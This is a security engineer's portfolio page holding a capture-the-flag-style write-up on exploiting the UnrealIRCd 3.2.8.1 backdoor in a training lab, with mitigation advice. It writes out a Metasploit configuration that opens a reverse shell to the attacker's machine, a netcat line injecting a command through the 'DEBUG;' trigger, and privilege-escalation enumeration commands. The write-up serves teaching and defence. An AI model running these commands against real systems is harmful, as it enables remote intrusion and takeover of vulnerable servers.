DDevineSecurity Engineer

Hands-on security

Security Lab

Practical exercises from authorized, intentionally-vulnerable lab environments. Each write-up follows the full chain — scenario, recon, vulnerability, exploitation, privilege escalation, lessons, and mitigation — so the defensive takeaway is the point, not the exploit. 52 tests, P3 hardened.

Authorized labs onlyTryHackMe · HackTheBox · Cisco

Authorized labs only

Every exercise here was performed in an isolated, intentionally-vulnerable training environment that I was explicitly permitted to attack — never against real organizations or systems I don't own. These are learning write-ups, not professional penetration tests or findings against real companies.
ExploitationNetwork SecurityLinux Privilege EscalationWeb SecuritySecurity AutomationThreat Modeling
ExploitationBeginner

Exploiting the UnrealIRCd Backdoor

A classic, well-documented vulnerability used to teach the full exploit chain: recon, service identification, exploiting a known backdoor for a reverse shell, and then escalating privileges on Linux. A clean first example of moving from a foothold to local privilege escalation in a legal lab.

Kali LinuxNmapMetasploit FrameworkNetcatLinPEAS-style enumeration

Read write-up

Web SecurityComing soon

Web Security write-up

Planned: auth/authorization testing and input-validation exercises in intentionally vulnerable web apps.

Network SecurityComing soon

Network Security write-up

Planned: packet analysis with Wireshark/tcpdump and traffic interpretation.

Security AutomationComing soon

Security Automation write-up

Planned: Python scripts to automate recon, log review, and detection checks.

Threat ModelingComing soon

Threat Modeling write-up

Planned: STRIDE-style threat models drawn from the Chokepoint and Reset Lab projects.

Linux Privilege EscalationComing soon

Linux Privilege Escalation write-up

Planned: dedicated privesc enumeration and exploitation write-ups.

ExploitationBeginner

Exploiting the UnrealIRCd Backdoor

A classic, well-documented vulnerability used to teach the full exploit chain: recon, service identification, exploiting a known backdoor for a reverse shell, and then escalating privileges on Linux. A clean first example of moving from a foothold to local privilege escalation in a legal lab.

Environment & authorization

Authorized, intentionally-vulnerable training VM (TryHackMe / cyber-range style). Isolated lab network — no real third-party systems involved.

Tools:Kali LinuxNmapMetasploit FrameworkNetcatLinPEAS-style enumeration

Scenario

A target host in an isolated lab runs an IRC (Internet Relay Chat) service. The objective is to demonstrate a realistic attacker workflow — discover the service, identify a known vulnerable version, gain an initial foothold, and escalate to a higher-privilege shell — then document the defensive lessons.

This is a deliberately vulnerable training machine. Everything below was run against the lab target only.

Reconnaissance

I started with a port scan to map the attack surface, then a service/version scan on open ports to identify what was actually listening. IRC commonly runs on TCP port 6667 (and related ports).

Discover open ports and identify service versions
# Fast scan of common ports
nmap -T4 -p- <lab-target>

# Targeted service/version detection on discovered ports
nmap -sV -sC -p 6667,6697 <lab-target>

Vulnerability

The service banner identified UnrealIRCd running a version affected by a famous backdoor. The real-world issue is CVE-2010-2075: the UnrealIRCd 3.2.8.1 source tarball distributed for a short window in mid-2010 contained a trojaned module that allowed a remote attacker to execute commands by sending special characters (the characters DEBUG, in the classic write-up) before the normal IRC commands during connection.

The lab material I worked from presents this service; I treated the version string as the indicator of the known backdoor and looked up the matching public exploit. (If you are following along against a specific room, use the exact version string Nmap reports — some training notes label the box slightly differently.)

Root cause: malicious code introduced into the distributed software supply chain, not a memory-corruption bug. That distinction matters for mitigation — patching/version integrity is the fix, not input sanitization.

Exploitation

Metasploit ships a module for this exact backdoor. I configured it with the target host and the listening IRC port, set a payload that calls back to my attacker machine, and ran it to obtain a reverse shell.

Using the Metasploit module for the UnrealIRCd backdoor
msfconsole
msf> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf> set RHOSTS <lab-target>
msf> set RPORT 6667
msf> set LHOST <my-kali-ip>
msf> set LPORT 4444
msf> run
# -> reverse shell on the target as the user running the IRC daemon
Equivalent manual check (conceptual) — the backdoor triggers on a magic token
# The backdoor executes everything after 'DEBUG;' in the initial connection:
echo 'DEBUG; id' | nc <lab-target> 6667
# (Shown for understanding; the Metasploit module handles the callback.)

Privilege Escalation

The reverse shell arrived as the low-privileged user running the IRC service. From there I did standard Linux local enumeration: system/kernel version, user and group memberships, SUID/SGID binaries, writable paths, cron jobs, and running services — the kind of checklist automated by enumeration scripts, but which I worked through manually to understand each check.

Common teaching vectors in these labs include misconfigured SUID binaries, outdated kernels with known local privilege-escalation exploits, weak file permissions on service files, or cron jobs running as root. The point of the exercise is the enumeration methodology: gather facts, match them against known privilege-escalation primitives, and act on the weakest link.

Manual local enumeration starting points
id; whoami; sudo -l
uname -a; cat /etc/os-release
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
find / -writable -type d 2>/dev/null    # writable directories
cat /etc/crontab; ls -la /etc/cron*     # scheduled jobs

Lessons Learned

Version banners do the attacker's work for them — service/version detection turned one port into a directly matchable, weaponized exploit.

Software supply-chain compromise is devastating and simple to exploit. The backdoor was not a subtle memory-corruption bug; it was attacker-controlled code shipped inside a trusted download.

A foothold is only the beginning. Local privilege escalation is a separate discipline built on systematic enumeration, not luck.

Detection matters as much as prevention: an IRC daemon spawning a shell, or an outbound reverse connection from a server, is exactly the kind of anomaly a SOC should catch.

Mitigation

Remove/replace the affected service and install software only from verified, official sources; check signatures/checksums against the vendor.

Do not expose services like IRC to untrusted networks; restrict management and chat services to a VPN or allow-listed hosts.

Patch and inventory software so known-vulnerable versions are flagged quickly.

Run services as dedicated low-privilege users with minimal rights, so a compromise does not immediately yield root.

Monitor for process anomalies (a network service spawning shells) and unexpected outbound connections; ship logs to a SIEM and alert on them.

Practice the same chain defensively — hardening, least privilege, and detection are what turn a successful foothold into a contained event.

More write-ups are being added. All activity shown was conducted in legal, isolated training environments with explicit authorization. P3: 52 tests, Argon2id, HMAC, TOTP, SIEM shipping — honest limitations documented.